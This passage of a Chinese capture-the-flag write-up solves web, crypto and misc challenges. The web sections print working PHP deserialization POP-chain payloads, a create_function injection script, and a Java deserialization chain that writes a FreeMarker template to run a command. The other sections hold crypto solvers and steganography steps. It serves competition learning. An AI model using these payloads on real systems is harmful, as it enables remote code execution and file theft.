    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

class Flag{
    public $FilesystemIterator='/'; //扫目录文件
   // 或者是 public $DirectoryIterator = "glob:///F*";
}
$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42');// 这个不固定
$t = new To();
$y= new You();
$f = new Flag();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1=$f;      // Luck::__toString()->Flag::__invoke()
echo urlencode(serialize($y));

//对应payload:
O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A18%3A%22FilesystemIterator%22%3Bs%3A1%3A%22%2F%22%3B%7Ds%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A5%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

可以用FilesystemIterator类:
image.png
或者用DirectoryIterator类:
image.png

//原生类SplFileObject读文件
<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

class Flag{
     public $SplFileObject='/FfffLlllLaAaaggGgGg'; //读文件
}
$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42'); // 这个不固定
$t = new To();
$y= new You();
$f = new Flag();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1=$f;      // Luck::__toString()->Flag::__invoke()
echo urlencode(serialize($y));

//对应payload:
O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A13%3A%22SplFileObject%22%3Bs%3A20%3A%22%2FFfffLlllLaAaaggGgGg%22%3B%7Ds%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A5%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

image.png

其他非预期解:
在__toString()到__invoke()衔接的时候可以直接用phpinfo:

public function __toString()
{
    $new = $this->l1;
    return $new(); // 可以直接调用phpinfo来读取flag
}

完整的pop链:

<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42');// 这个不固定
$t = new To();
$y= new You();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1='phpinfo';      // Luck::__toString()->phpinfo
echo urlencode(serialize($y));
// O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A4%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

然后得到flag
借用一下Hyperion战队师傅的图:
image.png

 

 

what’s my name

@$miao=create_function('$a, $b', $sort_function);
  • 这里有一个典型的create_function的注入
?d0g3="]);}任意代码执行;/*
  • 要进入该函数需要过三个条件
  • 第一个条件
if(preg_match('/^(?:.{5})*include/',$d0g3))
  • 这里要求传参的第6位开始必须是include,提示了使用include函数,
?d0g3="]);}include('利用语句');任意代码执行;/*
  • 第二个条件
strlen($d0g3)==substr($miao, -2)
  • 匿名函数在创建后,函数变量会存储一个值从lambda_1开始,数字不断增大的字符串,且每创建一次,这个字符串数字部分都会增大,除非结束php的进程,刷新网页仍会继续计数
  • 这里需要控制利用语句数目等于匿名函数数字部分后两位,可以通过脚本循环实现
  • 第三个条件
$name===$miao
  • 看上去很简单,和第二个条件一样,比如设定好?name=lambda_10,然后访问5次页面(创建10次匿名函数)即可,但是实际上可以通过下面的语句发现,实际上创建的匿名函数的名字前面会默认带一个\0结束符,在大多数情况下这不会造成任何影响,但是在浏览器地址栏传参时,\0将无法传入
echo var_export($miao);
  • 这个问题也可以通过脚本得到解决
  • 通过dirsearch或者手测,我们可以发现一个admin.php,使用伪协议包含发现里面有大量的假flag(100万行),考虑使用strip_tags过滤掉大量的php标签内的无关信息
  • 由此得出脚本(需要跑一会儿才出得来)
import requests
import re
url=input("请输入地址:")
while 1:
    a=requests.get(url+"?d0g3=%22]);}include(%27php://filter/read=string.strip_tags/resource=admin.php%27);echo 'aaaaaa';/*&name=\0lambda_187")
    if"aaaaaa" in a.text:
        break
    print("尝试中")
print(re.sub("aaaaaa",'',re.sub(r"<code>[\s\S]*?</code>",'',a.text)))
 

ez_java

根据pom.xml,环境存在CB、postgresql依赖,不难想到可以通过CB链来调用getter方法来触发postgresql JDBC攻击,对应的getter方法为BaseDataSource#getConnection
image.png
由于环境不出网,只能选择postgresql JDBC的logger链去写文件。这个可以选择通过覆盖/app/templates/index.ftl打模板注入
但需要注意的是BaseDataSource反序列化逻辑,首先是geturl方法,会把扩展参数和数据库名部分进行一次urlencode导致模板标签被编码掉,读者自行去阅读相关逻辑,进行分析调试
这里可以重写org.postgresql.ds.common.BaseDataSource,将模板注入payload放到serverNames位置避免被编码,重写部分如下:
image.png
text为freemaker模版rce的payload
其次就是触发compare,由于PriorityQueue在黑名单中,这里用treeMap#get来触发compare方法,这里用CC7相关部分触发一哈Map#get
exp

package org.example;

import org.apache.commons.beanutils.BeanComparator;
import org.postgresql.ds.PGSimpleDataSource;


import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.URLEncoder;
import java.util.*;


import static org.example.Tools.setFieldValue;


public class Main {
    public static void main(String[] args) throws Exception {
      	//设置扩展参数
        PGSimpleDataSource pgSimpleDataSource = new PGSimpleDataSource();
        pgSimpleDataSource.setProperty("connectTimeout","100000000000000000");
        pgSimpleDataSource.setProperty("loggerFile", "/app/templates/index.ftl");
        pgSimpleDataSource.setProperty("loggerLevel", "DEBUG");

        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        setFieldValue(beanComparator, "property", "connection");

        HashMap gadgetHashMap = new HashMap();
        gadgetHashMap.put(pgSimpleDataSource, null);

        TreeMap treeMap = makeTreeMap(beanComparator);

        HashMap hashMap1 = new HashMap();
        hashMap1.put("AaAaAa", treeMap);
        hashMap1.put("BBAaBB", gadgetHashMap);

        HashMap hashMap2 = new HashMap();
        hashMap2.put("AaAaAa", gadgetHashMap);
        hashMap2.put("BBAaBB", treeMap);

        Hashtable table = new Hashtable();
        setFieldValue(table, "count", 2);
        Class nodeC = Class.forName("java.util.Hashtable$Entry");
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, hashMap1, 1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, hashMap2, 2, null));
        setFieldValue(table, "table", tbl);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(table);
        oos.close();

        System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(barr.toByteArray()))));

//        ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
//        ObjectInputStream ois = new Security(in);
//        Object ob = ois.readObject();
    }

    public static TreeMap makeTreeMap(Comparator beanComparator) throws Exception {
        TreeMap treeMap = new TreeMap(beanComparator);

        setFieldValue(treeMap, "size", 1);
        setFieldValue(treeMap, "modCount", 1);

        Class EntryC = Class.forName("java.util.TreeMap$Entry");
        Constructor EntryCons = EntryC.getDeclaredConstructor(Object.class, Object.class, EntryC);
        EntryCons.setAccessible(true);

        setFieldValue(treeMap, "root", EntryCons.newInstance("nivia", 1, null));

        return treeMap;
    }
}

攻击:
/read?exp=rO0ABXNyABNqYXZhLnV0aWwuSGFzaHRhYmxlE7sPJSFK5LgDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA%2FQAAAAAAACHcIAAAAAgAAAAJzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAnQABkFhQWFBYXNxAH4AAj9AAAAAAAAMdwgAAAAQAAAAAXNyACRvcmcucG9zdGdyZXNxbC5kcy5QR1NpbXBsZURhdGFTb3VyY2XHvJ7A3bo18QMAAHhwdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQBMmxvY2FsaG9zdC8%2Fbml2aWE9PCNhc3NpZ24gYWM9c3ByaW5nTWFjcm9SZXF1ZXN0Q29udGV4dC53ZWJBcHBsaWNhdGlvbkNvbnRleHQ%2BPCNhc3NpZ24gZmM9YWMuZ2V0QmVhbignZnJlZU1hcmtlckNvbmZpZ3VyYXRpb24nKT48I2Fzc2lnbiBkY3I9ZmMuZ2V0RGVmYXVsdENvbmZpZ3VyYXRpb24oKS5nZXROZXdCdWlsdGluQ2xhc3NSZXNvbHZlcigpPjwjYXNzaWduIFZPSUQ9ZmMuc2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoZGNyKT4keyJmcmVlbWFya2VyLnRlbXBsYXRlLnV0aWxpdHkuRXhlY3V0ZSI%2FbmV3KCkoImNhdCAvZmxhZyIpfXQAAHQBITwjYXNzaWduIGFjPXNwcmluZ01hY3JvUmVxdWVzdENvbnRleHQud2ViQXBwbGljYXRpb25Db250ZXh0PjwjYXNzaWduIGZjPWFjLmdldEJlYW4oJ2ZyZWVNYXJrZXJDb25maWd1cmF0aW9uJyk%2BPCNhc3NpZ24gZGNyPWZjLmdldERlZmF1bHRDb25maWd1cmF0aW9uKCkuZ2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoKT48I2Fzc2lnbiBWT0lEPWZjLnNldE5ld0J1aWx0aW5DbGFzc1Jlc29sdmVyKGRjcik%2BJHsiZnJlZW1hcmtlci50ZW1wbGF0ZS51dGlsaXR5LkV4ZWN1dGUiP25ldygpKCJjYXQgL2ZsYWciKX1wdXIAAltJTbpgJnbqsqUCAAB4cAAAAAEAAAAAc3IAFGphdmEudXRpbC5Qcm9wZXJ0aWVzORLQenA2PpgCAAFMAAhkZWZhdWx0c3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cQB%2BAAA%2FQAAAAAAACHcIAAAACwAAAAN0AAtsb2dnZXJMZXZlbHQABURFQlVHdAAKbG9nZ2VyRmlsZXQAGC9hcHAvdGVtcGxhdGVzL2luZGV4LmZ0bHQADmNvbm5lY3RUaW1lb3V0dAASMTAwMDAwMDAwMDAwMDAwMDAweHB4cHh0AAZCQkFhQkJzcgARamF2YS51dGlsLlRyZWVNYXAMwfY%2BLSVq5gMAAUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHBzcgArb3JnLmFwYWNoZS5jb21tb25zLmJlYW51dGlscy5CZWFuQ29tcGFyYXRvcuOhiOpzIqRIAgACTAAKY29tcGFyYXRvcnEAfgAaTAAIcHJvcGVydHl0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyACpqYXZhLmxhbmcuU3RyaW5nJENhc2VJbnNlbnNpdGl2ZUNvbXBhcmF0b3J3A1x9XFDlzgIAAHhwdAAKY29ubmVjdGlvbncEAAAAAXQABW5pdmlhc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAF4eHNxAH4AIwAAAAJzcQB%2BAAI%2FQAAAAAAADHcIAAAAEAAAAAJxAH4ABHEAfgAbcQB%2BABhxAH4ABXhxAH4AJXg%3D

 

 

crypto

010101

将前半部分和后半部分分别异或1进行还原,最后得到p

from Crypto.Util.number import long_to_bytes

N = ***
p = ***
m = ***
p = str(p)
e = 65537
flag = False
print(len(p))
for j in range(len(p)):
    p2 = list(p)
    p2[j] = str(int(p[j]) ^ int('1'))  # 将p的第j位与1进行异或
    for i in range(j + 1, len(p)):  # 从p的第j+1位开始遍历
        p3 = list(p2)
        p3[i] = str(int(p[i]) ^ int('1'))  # 将p2的第i位与1进行异或
        if N % int(''.join(p3), 2) == 0:
            modified_p = int(''.join(p3), 2)
            flag = True
            break
    if flag:
        break
q = N // modified_p
phi = (modified_p - 1) * (q - 1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(m, d, N)))

# D0g3{sYuWzkFk12A1gcWxG9pymFcjJL7CqN4Cq8PAIACObJ}

POA

不断构造IV并发送,接收解密结果,恢复AES CBC解密的中间值,最后与IV进行异或得到

from hashlib import sha256
import itertools
import socket
import string
from Crypto.Util.number import long_to_bytes, bytes_to_long


def proof(broke, Hash):
    assert len(broke) == 16 and len(Hash) == 64
    shaTable = string.ascii_letters + string.digits
    for ii in itertools.permutations(shaTable, 4):
        x = ''.join(ii)
        s = x + broke
        if sha256(s.encode()).hexdigest() == Hash:
            print(x)
            return x


def con():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('124.71.177.14', 10010))
    proof_data = sock.recv(2048)
    send_proof = (proof(proof_data[14:30].decode(), proof_data[32:96].decode())).encode()
    sock.recv(2048)
    sock.send(send_proof)
    data1 = sock.recv(2048)
    print(data1.decode())
    sock.send('1\n'.encode())
    cipher = sock.recv(4096).decode().split(' ')[-1]
    print(cipher)
    guess_iv = [0 for _ in range(16)]
    restore_midd = [0 for _ in range(16)]
    index = 1

    for i in range(15, -1, -1):
        for j in range(0, 256):
            sock.send('2'.encode())
            txt = sock.recv(4096).decode()
            guess_iv[i] = j
            mess = bytes(guess_iv).hex() + cipher[32:]
            sock.send(('%s\n' % mess).encode())
            result = sock.recv(4096).strip().decode()
            if result == 'True':
                print('find')
                restore_midd[i] = index ^ j
                for k in range(15, i - 1, -1):
                    guess_iv[k] = restore_midd[k] ^ (index + 1)
                break
        index += 1

    m = bytes_to_long(bytes(restore_midd)) ^ int(cipher[:32], 16)
    print(long_to_bytes(m))


if __name__ == '__main__':
    con()

Rabin

解方程恢复e1, e2
解RSA+RSA Rabin

from Crypto.Util.number import isPrime, long_to_bytes
from decimal import Decimal, getcontext
from sympy import *
import itertools
import gmpy2
getcontext().prec = 4096  # To get all digits


def quadratic(b, c):
    b, c = Decimal(b), Decimal(c)
    disc = b ** 2 - 4 * c
    return (-b + disc.sqrt()) / 2, (-b - disc.sqrt()) / 2


n = 250814637051807819966792611245960610922650272171774421100096725362876110354331644672361070288421932814011240278013930236506935606208856158245203226575206173399353228955646434946185162337249508916173886601690750176079643923598040239558820163968619858461299932945052867416892052800080380065469520552769729908237916948231811852512702334673059498173828710097943836553665421008502790227505238045663138503444330272778394062239358945912631242535901236920740968520395320695821881700272436374765803456467229511027996411612705127440152548517761802229692762942039810655711762857733655968843311390554894490989464889063115195307376546315206091850157113517967028388112696773322299195386885674487736953704278131208605733928620385647653506188387270203806469091593555942596009391614056683438954798377100513743826890914546813802825956772601161008749865452605755445313141047898707485333785540081269386385654187051443297745903924802393853636159179216465330611652590550085005018159338383332480775331023418636856327968211907
inv_p = 18572680482956333849695203716461713104773047923602099298094682396862191850514405358287530759577107822437397076448196882484810348534389142512538132336772660002619635584317411507556898261467535786390472312057865009529503815275471152631242674775023579999529144217652870406017527500924054906365970316171601724395
inv_q = 136535048380593205200147274200607623672178047616047871024461976135751463050074132537068629202262492753981526789311501011207084603084500046237452580036584406621193450044354252290673799669278685039786072212806149907642025392079172459205884032545048534994511661271942133535933734878627347694553081776269463131011
c1 = 24438369699277358577099809092522666507794264940897211362396512304628436041222873422281052071040304574363510205249804316939250072085516605409716236630122437693098107965690357983662511641360852519159201210407149426013456665654927559031576450707769140579811457087575821158806216834589419118616293649134570029348864168061503995325421166403367212784956918879123538609647020213238539717446246806658900303124564032457968947891973269315221759825010175759282900948586059414233078011374547085622341941301930819816001572766834718060688545069956096308661744521329011217013954462888420216389590625029416601914841651975749769319907679957725817987535287875463052512829357180018005408137318173906769605861407680810593420749995979362702366940275048900413734250464314983304164277188084351968745605375769912296693849464371792448471466297537539956183639108372537896814803224393949374263943947266927232857089835606620154448584587895531774998281005520646293399213187296591877953310626414259916310440526985379452834140797344
c2 = 223295770243896926174824405932791118562132019446137106707499244470470652130983482933886296317979962549790414754161520435096091469226090668617978924038597496895109870016050016361204593776094886916554978524328312654899592058243030170843460725094455369392386666825873918339575610780772636586002747595613558066320125773587684070090772498121214867506696972158540355910065773892648404521506595636503850295827650330993678348250267770526157595871258640949265795928803796357149879172931040916773382169296914793584970211453674931039251561404963603173087988508276297347805041885971003956420812510128302146772371481501739596756529250961807845809297176387467035756066576014695851369095199182667219429449627072080517064563211041402250659878953388165820020061897516163246110562240123389210713625152448308461232879889286613844389367421303837747532095262647017908028398324773681913209915202010758289748837739798240683937739276900417861582443180262419471329076908687714213527415105489215148326758425520069134366726191206
r = 2
while True:
    r = r * 8
    if r.bit_length() > 1024 and isPrime(r - 1):
        r = r - 1
        break
print(int(r))
pq = n // r

k1k2 = inv_p * inv_q - 1
alpha_times_beta = k1k2 * pq
alpha_plus_beta = pq * inv_p * inv_q - 1 - k1k2 * pq
e1 = 2
e2 = 5
alpha, beta = quadratic(-alpha_plus_beta, alpha_times_beta)
p = gcd(pq, int(alpha))
q = gcd(pq, int(beta))
assert p * q == pq
p, q = symbols("p q")
eq1 = Eq(inv_p * p + inv_q * q - pq - 1, 0)
eq2 = Eq(p * q, pq)
sol = solve((eq1, eq2), (p, q))
print(sol)
p = int(155067211748080035817706240824444294173177315452053655302198450440797223063993902553854738130782449160496432645166392115875035577949847055717925643946457912682751338169862368227051614666060761234405201526539028698479896781769397552330889288635473271948706547821980919655770653459515096024615873307927376930323)
q = int(155406237257371285686734630614272846342794427544939674750800108880031404165544180838277971813657235395399719426255865993550582439955633684106295486647395174391393520922781711164275517262754514023537536287360365851886349215688978809822032291068515106418115813510512126616124030805066436158518403149436994756207)
print(isPrime(p), p)
print(isPrime(q), q)
print(isPrime(r))
phi = (p - 1) * (q - 1) * (r - 1)
print(phi)
d2 = gmpy2.invert(e2, phi)
m2 = pow(c2, d2, n)
print(long_to_bytes(m2))
mp = pow(c1, (p + 1) // 4, p)
mq = pow(c1, (q + 1) // 4, q)
mr = pow(c1, (r + 1) // 4, r)

bp = n // p
bq = n // q
br = n // r
ap = pow(bp, -1, p)
aq = pow(bq, -1, q)
ar = pow(br, -1, r)

for sp, sq, sr in itertools.product((-1, 1), repeat=3):
    m = (sp * ap * bp * mp + sq * aq * bq * mq + sr * ar * br * mr) % n
    m = long_to_bytes(m)
    if b"D0g3" in m:
        print(m)
 

misc

dacongのsecret

得到一个压缩包和一个png

用工具或者脚本提取一下水印得到密码

QQ截图20231031201722.jpg
QQ截图20231031201800.jpg
得到一个password的d@C0ng 1s cUt3!!!
根据题目提示推出png不止一个秘密
继续用pngcheck打开dacong1hao.png
QQ截图20231103161610.png
发现在尾部的idat头不对
010打开
找到有两个IDATx
直接手动搜索IDATx把第一部分IDATx删掉
QQ截图20231115183749.png
保存后得到如下图片
QQ截图20231127224849.png
爆破一下宽高得到key
QQ截图20231127225006.png
wH1T3_r0cckEt_sh00ter
猜测可能是后边用到的
用前边水印的密码打开压缩包得到一张jpg
用010打开末尾有一串hex值
QQ截图20231115185454.png
根据特征判断是一个压缩包的hex值倒序
手动提取出来打开发现需要密码
正好用之前的key解开
得到一串base64密文
由于有很多行base
猜测可能是base64隐写
用以下脚本跑出base64隐写的数据

d='''str
'''
e=d.splitlines()
binstr=""
base64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
for i in e :
    if i.find("==")>0:
        temp=bin((base64.find(i[-3])&15))[2:]
        #取倒数第3个字符,在base64找到对应的索引数(就是编码数),取低4位,再转换为二进制字符
        binstr=binstr + "0"*(4-len(temp))+temp #二进制字符补高位0后,连接字符到binstr
    elif i.find("=")>0:
        temp=bin((base64.find(i[-2])&3))[2:] #取倒数第2个字符,在base64找到对应的索引数(就是编码数),取低2位,再转换为二进制字符
        binstr=binstr + "0"*(2-len(temp))+temp #二进制字符补高位0后,连接字符到binstr
str=""
for i in range(0,len(binstr),8):
    str=str+chr(int(binstr[i:i+8],2)) #从左到右,每取8位转换为ascii字符,连接字符到字符串
print(str) 

得到一个pass
m1ku_1s_sha_fufu123
QQ截图20231101223417.jpg
最后用该秘密通过jphs解出得到flag
QQ截图20231102195944.jpg
打开得到flag
image-20231224135701085
flag{d@C0ng_1s_r3@lIy_Re@iLY_Cute}

 

dacongのWindows

由于win10可能不怎么兼容vol2,需要制作profile,所以建议使用vol3解题
QQ截图20231115192308.png
首先文件检索一下关键词wav,可以发现有很多的wav,暂时先放着
继续搜索一下txt关键词
QQ截图20231115192429.png
这里找到两个关键的txt,先dump下来看下
QQ截图20231115192531.png
先打开看一下do_you_want_listen
QQ截图20231115192616.png
do_you_want_liten.txt里提示了miku有一首歌叫做’???music‘
搜索一下歌名可以知道歌曲叫做39music!
QQ截图20231108193721.png
结合文件名以及该txt所在的位置猜测是对之前的wav提示
那么把dacong39.wav下载出来
QQ截图20231115192943.png
打开听一下是sstv
那么手机打开robot36得到第一段flag
QQ图片20231108194442.jpg
flag{Ar3_Th3Y
然后这里笨B出题人做镜像忘记把winrar打开了
但是也可以通过rar关键词找到一个rar
QQ截图20231115193359.png
一样dump下来
解压后是flag2
QQ截图20231115193455.png
根据翻译推测可能是snow加密
QQ截图20231109135844.png
直接解一下,发现是无密码的snow
QQ截图20231109142315.png
得到第二段flag
_tHE_Dddd
然后回头看之前的flag3
QQ截图20231115193712.png
是一串加密,但是结合题目的描述,有什么重要的表被修改,猜测需要密钥
在注册表里找到
QQ截图20231115193958.png
解一下是aes
得到第三段flag
QQ截图20231110140108.png
dAc0Ng_SIst3Rs???}
flag{Ar3_Th3Y_tHE_DddddAc0Ng_SIst3Rs???}

 

 

疯狂的麦克斯

麦克斯的称号这个文件存在0宽隐写
解密得到 mks007
打开嗨.zip,存在一个docx文件,可以直接改后缀为zip,也可以Binwalk分离出来,这里就存在一个 MKS IM麦克斯.txt这个文件1o1tvvkgyrw13506.png
打开txt文件得到
p2sipmw0m4r13511.png
翻到最下面有
4f4im1qbjnb13514.png
凭这里看出应该是某种加密
结合前面的mks007,可能是凯撒偏移
尝试将mks007转换为整数,进行凯撒偏移,得到THISISMKSDOYOUKNOWWHOAMI
(预期外:通过维吉尼亚解密,密钥为e,通过rot13,为22)
此时对整个文档进行偏移

def caesar_decipher(text, shift):
    result = ""

    for char in text:
        if char.isalpha():
            alphabet = ord('a') if char.islower() else ord('A')
            shifted = (ord(char) - alphabet - shift) % 26  # 逆向偏移
            result += chr(alphabet + shifted)
        else:
            result += char

    return result

# 读取加密后的文件内容
with open('MKS.txt', 'r') as file:
    encrypted_content = file.read()

# 自定义偏移量
offset = "mks007"

# 将偏移量转换为整数
shift = sum(ord(char) for char in offset) - len(offset) * ord('a')

# 对内容进行逆向凯撒偏移
decrypted_content = caesar_decipher(encrypted_content, shift)

# 将解密后的内容写入新文件
with open('mksnew.txt', 'w') as file:
    file.write(decrypted_content)

此时作用于文件所有内容,然后根据麦克斯MAX遍历出其中最大值,得到456788P。
虽然好像都是通过直接爆破得来的,不过也能爆破,也算是一种解
FLAG的密码就是456788P base64后的
NDU2Nzg4UA==
D0g3{Th1s_REA11Y_MAX_F1A4_GGB0ND}

 

Nahida

题目给一个压缩包
里面有一个txt文件和一个Nahida文件
其中txt仅作为提示(wink眨眼睛,和眼睛有关),并没有藏东西
查看另一个文件
image.png
可以看到是FF D8 FF E0倒过来的,所以写脚本进行倒置
Nahida是通过脚本加密的,原文件为一个jpg文件,通过对hex进行分组前后交换得到
故写解密脚本

def swap_positions(hex_string):
    # 将每两位进行位置交换
    swapped = ''.join([hex_string[i+1] + hex_string[i] for i in range(0, len(hex_string), 2)])

    return swapped

def decrypt_image_hex(encrypted_image_path):
    # 打开加密的文件
    with open(encrypted_image_path, 'rb') as file:
        encrypted_data = file.read()

    # 将加密的字节数据转换为16进制字符串
    encrypted_hex = encrypted_data.hex()

    # 组间交换位置
    swapped_hex = swap_positions(encrypted_hex[::-1])

    # 组内交换位置
    grouped_hex = [swap_positions(swapped_hex[i:i+2]) for i in range(0, len(swapped_hex), 2)]

    # 将16进制字符串转换回字节数据
    decrypted_data = bytes.fromhex(''.join(grouped_hex))

    # 生成解密后的文件
    decrypted_image_path = 'decrypted_image.jpg'
    with open(decrypted_image_path, 'wb') as decrypted_file:
        decrypted_file.write(decrypted_data)

    return decrypted_image_path

# 测试解密函数
encrypted_image_path = 'test.jpg'  # 替换为加密图片的路径
decrypted_image_path = decrypt_image_hex(encrypted_image_path)
print("解密后的文件路径:", decrypted_image_path)

得到jpg,在图片的最后看到一串字符串,
image.png
提示 神之眼(再次提示静默之眼),以及眼的密码在最开始就得到,也就是题目名Nahida
d0g3{Nahida_is_the_best_in_the_world!}

 

原文链接地址:https://dce.i-soon.net/#/group/detail/31

一、WEB

1.web_BaliYun

进去之后一个文件上传,而且只能上传图片。访问www.zip拿到源码

fqvfxc0scfw15417.png网站源码:index.php:<?php
include("class.php");
if(isset($_GET['img_name'])){
    $down = new check_img(); # here
    echo $down->img_check();
}
if(isset($_FILES["file"]["name"])){
    $up = new upload();
    echo $up->start();
}
?>
class.php:<?php
class upload{
    public $filename;
    public $ext;
    public $size;
    public $Valid_ext;

    public function __construct(){
        $this->filename = $_FILES["file"]["name"];
        $this->ext = end(explode(".", $_FILES["file"]["name"]));
        $this->size = $_FILES["file"]["size"] / 1024;
        $this->Valid_ext = array("gif", "jpeg", "jpg", "png");
    }

    public function start(){
        return $this->check();
    }

    private function check(){
        if(file_exists($this->filename)){
            return "Image already exsists";
        }elseif(!in_array($this->ext, $this->Valid_ext)){
            return "Only Image Can Be Uploaded";
        }else{
            return $this->move();
        }
    }

    private function move(){
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
        return "Upload succsess!";
    }

    public function __wakeup(){
        echo file_get_contents($this->filename); # here 2
    }
}


class check_img{
    public $img_name;
    public function __construct(){
        $this->img_name = $_GET['img_name']; # here
    }

    public function img_check(){
        if(file_exists($this->img_name)){ # here 1
            return "Image exsists";
        }else{
            return "Image not exsists";
        }
